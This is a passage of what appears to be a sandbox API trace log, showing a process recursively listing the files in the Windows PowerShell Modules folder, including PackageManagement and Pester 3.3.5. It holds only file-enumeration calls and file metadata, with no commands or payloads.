ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0 [0242.960] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0242.960] GetProcessHeap () returned 0xc10000 [0242.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0242.960] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0242.960] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0242.960] GetProcessHeap () returned 0xc10000 [0242.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0242.960] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0242.961] GetProcessHeap () returned 0xc10000 [0242.961] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0242.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0242.962] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.962] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0242.962] GetProcessHeap () returned 0xc10000 [0242.962] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0242.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0242.965] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.965] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0242.965] GetProcessHeap () returned 0xc10000 [0242.965] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0242.966] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.966] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0242.966] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0242.966] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0242.966] GetProcessHeap () returned 0xc10000 [0242.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.966] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0242.966] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0242.966] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0242.967] GetProcessHeap () returned 0xc10000 [0242.967] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0242.967] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.967] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0242.967] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0242.967] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0242.967] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0242.968] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0242.968] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0242.968] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0242.968] GetProcessHeap () returned 0xc10000 [0242.968] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.968] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Examples", cAlternateFileName="")) returned 1 [0242.968] GetProcessHeap () returned 0xc10000 [0242.969] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0242.970] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.970] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0242.970] GetProcessHeap () returned 0xc10000 [0242.970] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0242.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0242.972] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.972] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0242.972] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0242.973] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0242.973] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0242.973] GetProcessHeap () returned 0xc10000 [0242.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0242.973] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0242.973] GetProcessHeap () returned 0xc10000 [0242.973] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0242.973] FindFirstFileW (in: 